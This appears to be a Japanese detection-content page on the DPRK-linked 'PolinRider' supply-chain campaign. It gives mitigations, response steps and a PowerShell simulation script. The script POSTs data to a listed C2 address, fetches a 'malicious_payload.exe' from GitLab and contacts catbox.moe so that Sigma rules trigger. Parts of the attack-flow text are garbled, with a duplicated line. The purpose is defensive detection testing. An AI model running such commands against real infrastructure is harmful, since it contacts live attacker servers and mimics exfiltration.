DPRK PolinRider キャンペーン、手動によるサプライチェーン活動を示す
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
北朝鮮に関連する脅威アクターが開発者環境を標的としたサプライチェーン攻撃を、トロイの木馬化されたPythonパッケージを使用して実行しました。侵入チェーンには、Node.jsローダー、JavaScript C2インプラント、Pythonベースの情報スティーラーが含まれていました。このアクターは、悪意のあるコンポーネントを正規のMicrosoft .NET最適化サービスに偽装することで持続性を確立しました。
調査
調査は、高信頼性の欺瞞環境内で行われ、デコイの企業ワークステーションが167時間監視されました。アナリストはリアルタイムでキーボード操作を捕捉し、悪意のあるペイロード実行やデータスタンバイを含めました。収集されたテレメトリにより、初期の侵害から悪意のあるリポジトリ経由のデータ流出まで、完全な攻撃チェーンが明らかになりました。
緩和策
組織は、npm、PyPI、およびその他のパッケージマネージャー全体で厳しい依存関係スキャンを実施するべきです。また、非標準ポートへの生IPアドレスへのHTTP接続をブロックするイグレスフィルタリングを行うべきです。守備者は、Microsoft .NETコンポーネントをシステムプロファイルパスから模倣するスケジュールドタスクまたはレジストリエントリを含む異常な持続性メカニズムを監視するべきです。
対応策
悪意のある活動が検出された場合、セキュリティチームは直ちに影響を受けた開発またはビルド環境を孤立させるべきです。対応者は、既知のC2 IPアドレスや「 SvcHostUpdate.py」のような疑わしいファイルパターンを追跡するべきです。また、最近インストールされたサードパーティの依存関係のフォレンジックレビューを行い、システムプロフィールを監査して未承認の MicrosoftCLROptimization アーティファクトを探すべきです。
攻撃の流れ
この部分はまだ更新中です。
シミュレーション実行
-
攻撃の流れとコマンド: 敵は、二次段階のペイロードを取得し、盗まれた設定データを外部に送出することで感染を進展させることを目指しています。PolinRiderを模倣するため、攻撃者は次のように行動します:
- Use
curlorInvoke-WebRequestを使用して、「raw」GitLab URLからダミーファイルを取得。 - 特定されたC2 IP(
150.251.113.223:8443)にPOSTリクエストを行い、rotating.*agentパターンに一致するUser-Agentを偽装。 - に接触して二次C2ハートビートまたはペイロード配信をシミュレート。これらの行動はSigmaルールでの3つの選択基準をトリガーするよう設計されています。
に接触して二次C2ハートビートまたはペイロード配信をシミュレート。これらの行動はSigmaルールでの3つの選択基準をトリガーするよう設計されています。to simulate a secondary C2 heartbeat or payload delivery. These actions are designed to trigger the three distinct selection criteria in the Sigma rule.
- Use
-
回帰テストスクリプト:
# PolinRiderシミュレーションスクリプト Write-Host "[!] PolinRiderネットワークシミュレーションを開始します..." -ForegroundColor Cyan # 1. 選択基準2をトリガー:GitLab Rawからの取得 Write-Host "[*] 選択基準2をトリガー:GitLab Rawからの取得..." Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0" # 2. 選択基準1をトリガー:Rotating User-AgentでのC2へのPOST Write-Host "[*] 選択基準1をトリガー:Rotating User-AgentでのC2へのPOST..." $c2Url = "http://150.251.113.223:8443/upload" $fakeUA = "Mozilla/5.0 rotating-agent-v1.2" Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data" # 3. Catbox.moe接続のDNS/URLパターンをトリガー Write-Host "[*] 選択基準3をトリガー: Catbox.moe接続..." Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0" Write-Host "[+] シミュレーション完了。SIEMに警告を確認してください。" -ForegroundColor Green -
クリーンアップコマンド:
# システムに永続的な変更はありません; # ネットワーク接続は一時的です。 # このシミュレーションでディスクに書き込まれたファイルはありません。 Write-Host "[*] クリーンアップ: ファイルやレジストリキーは変更されませんでした。シミュレーションはクリーンです。" -ForegroundColor Cyan